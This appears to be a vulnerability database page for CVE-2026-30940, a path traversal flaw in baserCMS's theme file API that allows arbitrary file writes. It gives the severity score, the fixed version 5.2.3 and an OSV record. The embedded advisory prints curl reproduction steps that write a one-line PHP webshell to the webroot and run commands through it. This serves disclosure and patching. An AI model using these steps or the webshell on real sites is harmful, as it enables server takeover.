CVE-2026-30940: Baserproject/basercms Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-c5c6-37vq-pjcq
CVSS 7.2
CWE-73 CWE-22
Published
Advisory Summary

CVE-2026-30940 is a HIGH (CVSS 7.2) remote code execution vulnerability (CWE-73: External Control of File Name or Path) affecting Baserproject/basercms libraries in the Packagist ecosystem. The issue involves basercms path traversal leads to arbitrary file write and rce via theme file api. Remediation is available by upgrading affected packages to version 5.2.3.

CVE-2026-30940 at a Glance

CVE Identifier CVE-2026-30940
GHSA Identifier GHSA-c5c6-37vq-pjcq
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Baserproject/basercms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-30940

To remediate this vulnerability, upgrade all affected Baserproject/basercms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

baserproject/basercms fixed: 5.2.3
Upgrade baserproject/basercms to 5.2.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for baserproject/basercms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-30940, inspect your project dependencies for Baserproject/basercms:

inspect dependencies for baserproject/basercms

Analyze the terminal output to locate any version of Baserproject/basercms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.2.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Baserproject/basercms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write. An authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). ## Affected Code **File**: `plugins/bc-theme-file/src/Service/BcThemeFileService.php` ```php public function getFullpath(string $theme, string $plugin, string $type, string $path) { // ... return $viewPath . $type . DS . $path; // $path is not sanitized } ``` ## Attack Scenario 1. The attacker compromises an administrator account (password leak, brute force, etc.) 2. Obtains an access token via API login 3. Specifies `path: "../../../../webroot/"` in the theme file creation API 4. A PHP file is created in the webroot 5. The attacker accesses the created PHP file to achieve RCE ## Reproduction Steps ```bash # 1. Login curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \ -H "Content-Type: application/json" \ -d '{"email":"admin@example.com","password":"password"}' # 2. Create webshell curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{ "theme": "BcThemeSample", "plugin": "", "type": "layout", "path": "../../../../webroot/", "base_name": "shell", "ext": "php", "contents": "<?php system($_GET[\"cmd\"]); ?>" }' # 3. RCE curl "http://target/shell.php?cmd=id" ``` ## Vulnerability Details | Item | Details | |------|---------| | CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path | | Impact | Arbitrary file write, Remote Code Execution (RCE) | | Attack Prerequisites | Administrator privileges + API enabled (`USE_CORE_ADMIN_API=true`), or chaining with XSS, etc. | | Reproducibility | High (PoC verified) | | Test Environment | baserCMS 5.x (Docker environment) | ### Additional Notes on Attack Prerequisites - **When API is enabled** (`USE_CORE_ADMIN_API=true`): API calls can be made externally using JWT token authentication. Direct exploitation is possible. - **Default settings** (`USE_CORE_ADMIN_API=false`): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required. ## Recommended Fix Rather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using `realpath()`, etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected. The specific implementation location and method are left to the project's design decisions. ## Comparison with Other CMS WordPress's theme editor only allows editing within `wp-content/themes/` and does not permit writes outside that directory. [CVE-2019-8943](https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/) was reported as a path traversal vulnerability in `wp_crop_image()` that allowed writing cropped image output to an arbitrary directory by including `../` in the filename. This vulnerability is not a matter of "administrators being able to execute arbitrary code" by design, but rather stems from a security boundary violation where "the theme editing function can write outside the theme directory (to webroot, config, etc.)." ## Resources - OWASP Path Traversal: <https://owasp.org/www-community/attacks/Path_Traversal> - WordPress RCE via Path Traversal (CVE-2019-8943): <https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/> - Jira Path Traversal (CVE-2025-22167): <https://nvd.nist.gov/vuln/detail/CVE-2025-22167> This advisory was translated from Japanese to English using GitHub Copilot.

CVE-2026-30940 Affected Baserproject/basercms Versions

1 component(s)
Fixed Versions:
5.2.3
Product / Package Ecosystem Affected Versions Fixed Version
baserproject/basercms
Packagist
< 5.2.3
5.2.3

References

Frequently Asked Questions

What is CVE-2026-30940?
CVE-2026-30940 is a security vulnerability in Baserproject/basercms involving baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API under CWE-73: External Control of File Name or Path.
Which Baserproject/basercms versions are affected?
Affected versions include releases prior to 5.2.3 across affected packages: baserproject/basercms.
What version fixes CVE-2026-30940?
Upgrading to 5.2.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is baserproject/basercms affected?
Yes, baserproject/basercms is affected in releases prior to 5.2.3. Upgrade your dependency to 5.2.3 or later.
What is the CVSS score of CVE-2026-30940?
CVE-2026-30940 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-30940?
CVE-2026-30940 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check Packagist dependencies for CVE-2026-30940?
Run the dependency tree command: 'inspect dependencies for baserproject/basercms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c5c6-37vq-pjcq",
  "modified" : "2026-03-31T22:47:39Z",
  "published" : "2026-03-31T22:47:39Z",
  "aliases" : [ "CVE-2026-30940" ],
  "summary" : "baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API",
  "details" : "## Summary\n\nA path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write.\n\nAn authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).\n\n## Affected Code\n\n**File**: `plugins/bc-theme-file/src/Service/BcThemeFileService.php`\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n    // ...\n    return $viewPath . $type . DS . $path;  // $path is not sanitized\n}\n```\n\n## Attack Scenario\n\n1. The attacker compromises an administrator account (password leak, brute force, etc.)\n2. Obtains an access token via API login\n3. Specifies `path: \"../../../../webroot/\"` in the theme file creation API\n4. A PHP file is created in the webroot\n5. The attacker accesses the created PHP file to achieve RCE\n\n## Reproduction Steps\n\n```bash\n# 1. Login\ncurl -X POST \"http://target/baser/api/admin/baser-core/users/login.json\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"admin@example.com\",\"password\":\"password\"}'\n\n# 2. Create webshell\ncurl -X POST \"http://target/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n  -H \"Authorization: Bearer <token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"theme\": \"BcThemeSample\",\n    \"plugin\": \"\",\n    \"type\": \"layout\",\n    \"path\": \"../../../../webroot/\",\n    \"base_name\": \"shell\",\n    \"ext\": \"php\",\n    \"contents\": \"<?php system($_GET[\\\"cmd\\\"]); ?>\"\n  }'\n\n# 3. RCE\ncurl \"http://target/shell.php?cmd=id\"\n```\n\n## Vulnerability Details\n\n| Item | Details |\n|------|---------|\n| CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path |\n| Impact | Arbitrary file write, Remote Code Execution (RCE) |\n| Attack Prerequisites | Administrator privileges + API enabled (`USE_CORE_ADMIN_API=true`), or chaining with XSS, etc. |\n| Reproducibility | High (PoC verified) |\n| Test Environment | baserCMS 5.x (Docker environment) |\n\n### Additional Notes on Attack Prerequisites\n\n- **When API is enabled** (`USE_CORE_ADMIN_API=true`): API calls can be made externally using JWT token authentication. Direct exploitation is possible.\n- **Default settings** (`USE_CORE_ADMIN_API=false`): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.\n\n## Recommended Fix\n\nRather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using `realpath()`, etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.\n\nThe specific implementation location and method are left to the project's design decisions.\n\n## Comparison with Other CMS\n\nWordPress's theme editor only allows editing within `wp-content/themes/` and does not permit writes outside that directory. [CVE-2019-8943](https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/) was reported as a path traversal vulnerability in `wp_crop_image()` that allowed writing cropped image output to an arbitrary directory by including `../` in the filename.\n\nThis vulnerability is not a matter of \"administrators being able to execute arbitrary code\" by design, but rather stems from a security boundary violation where \"the theme editing function can write outside the theme directory (to webroot, config, etc.).\"\n\n## Resources\n\n- OWASP Path Traversal: <https://owasp.org/www-community/attacks/Path_Traversal>\n- WordPress RCE via Path Traversal (CVE-2019-8943): <https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/>\n- Jira Path Traversal (CVE-2025-22167): <https://nvd.nist.gov/vuln/detail/CVE-2025-22167>\n\nThis advisory was translated from Japanese to English using GitHub Copilot.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "baserproject/basercms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.2.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30940"
  }, {
    "type" : "WEB",
    "url" : "https://basercms.net/security/JVN_20837860"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/baserproject/basercms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/baserproject/basercms/releases/tag/5.2.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T22:47:39Z",
    "nvd_published_at" : "2026-03-31T01:16:36Z"
  }
}